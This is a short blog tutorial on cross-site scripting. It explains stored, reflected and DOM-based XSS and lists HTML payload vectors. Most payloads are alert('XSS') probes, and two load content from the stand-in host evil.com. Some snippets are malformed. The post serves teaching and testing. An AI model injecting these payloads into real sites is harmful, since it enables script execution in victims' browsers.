Posts Cross Site Scripting (XSS) Vulnerabilities
Post
Cancel

Cross Site Scripting (XSS) Vulnerabilities

CROSS SITE SCRIPTING (XSS) VULNERABILITY

  • Is A Client-side Code Injection Attack
  • Executes Malicious Scripts In A Web Browser
  • Actual Attack Occurs When Victim Visits D Web Page That Execute Malicious Code

CAUSES OF XSS

  • UNSANITIZED USER INPUT
  • XSS ARE POSSIBLE IN VBSCRIPT, ACTIVEX, AND EVEN CSS. BUT MOST COMMON IS JAVASCRIPT AS IT IS THE FUNDAMENTAL TO BROWSING EXPERIENCE.

TYPES OF XSS

  • SELF XSS
  • STORED XSS (MOST DAMAGING) An attacker uses Stored XSS to inject malicious content (referred to as the payload), most often JavaScript code, into the target application. If there is no input validation, this malicious code is permanently stored (persisted) by the target application, for example within a database. For example, an attacker may enter a malicious script into a user input field such as a blog comment field or in a forum post. When a victim opens the affected web page in a browser, the XSS attack payload is served to the victim’s browser as part of the HTML code (just like a legitimate comment would). This means that victims will end up executing the malicious script once the page is viewed in their browser.

  • REFLECTED XSS (2ND MOST DAMAGING) the attacker’s payload has to be a part of the request that is sent to the web server. It is then reflected back in such a way that the HTTP response includes the payload from the HTTP request. Attackers use malicious links, phishing emails, and other social engineering techniques to lure the victim into making a request to the server. The reflected XSS payload is then executed in the user’s browser. Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim. These attacks are often made using social networks.

  • DOM-BASED XSS (STANDARD) A DOM-based XSS attack is often a client-side attack and the malicious payload is never sent to the server. This makes it even more difficult to detect for Web Application Firewalls (WAFs) and security engineers who analyze server logs because they will never even see the attack. DOM objects that are most often manipulated include the URL (document.URL), the anchor part of the URL (location.hash), and the Referrer (document.referrer).

XSS ATTACK VECTORS

  • <script> TAG
    1
    2
    3
    4
    
           <!-- External script -->
           <script src=http://evil.com/xss.js></script>
           <!-- Embedded script -->
           <script> alert("XSS"); </script>
    
  • jAVASCRIPT EVENTS [onload and onerror]
    1
    
           <body onload=alert=("XSS")>
    
  • <body> tag
    1
    
          <body background="javascript:alert("XSS")">
    
  • <img> tag
    1
    2
    3
    4
    5
    6
    
          <!-- <img> tag XSS -->
          <img src="javascript:alert("XSS");">
          <img """><script>alert("XSS")</script>"\>
          <!--  tag XSS using lesser-known attributes -->
          <img dynsrc="javascript:alert('XSS')">
          <img lowsrc="javascript:alert('XSS')">
    
  • <table> tag
    1
    2
    3
    4
    
          <!-- <table> tag XSS -->
          <table background="javascript:alert('XSS')">
          <!-- <td> tag XSS -->
          <td background="javascript:alert('XSS')">
    
  • <iframe> tag
    1
    2
    
          <!-- <iframe> tag XSS -->
          <iframe src="http://evil.com/xss.html">
    
  • <input> tag
    1
    2
    
          <!-- <input> tag XSS -->
          <input type="image" src="javascript:alert('XSS');">
    
  • <link> tag
    1
    2
    
          <!-- <link> tag XSS -->
          <link rel="stylesheet" href="javascript:alert('XSS');">
    
  • <div> tag
    1
    2
    3
    4
    
          <!-- <div> tag XSS -->
          <div style="background-image: url(javascript:alert('XSS'))">
          <!-- <div> tag XSS -->
          <div style="width: expression(alert('XSS'));">
    

ETC….

Testing for XSS Vulnerabilities

This post is licensed under CC BY 4.0 by the author.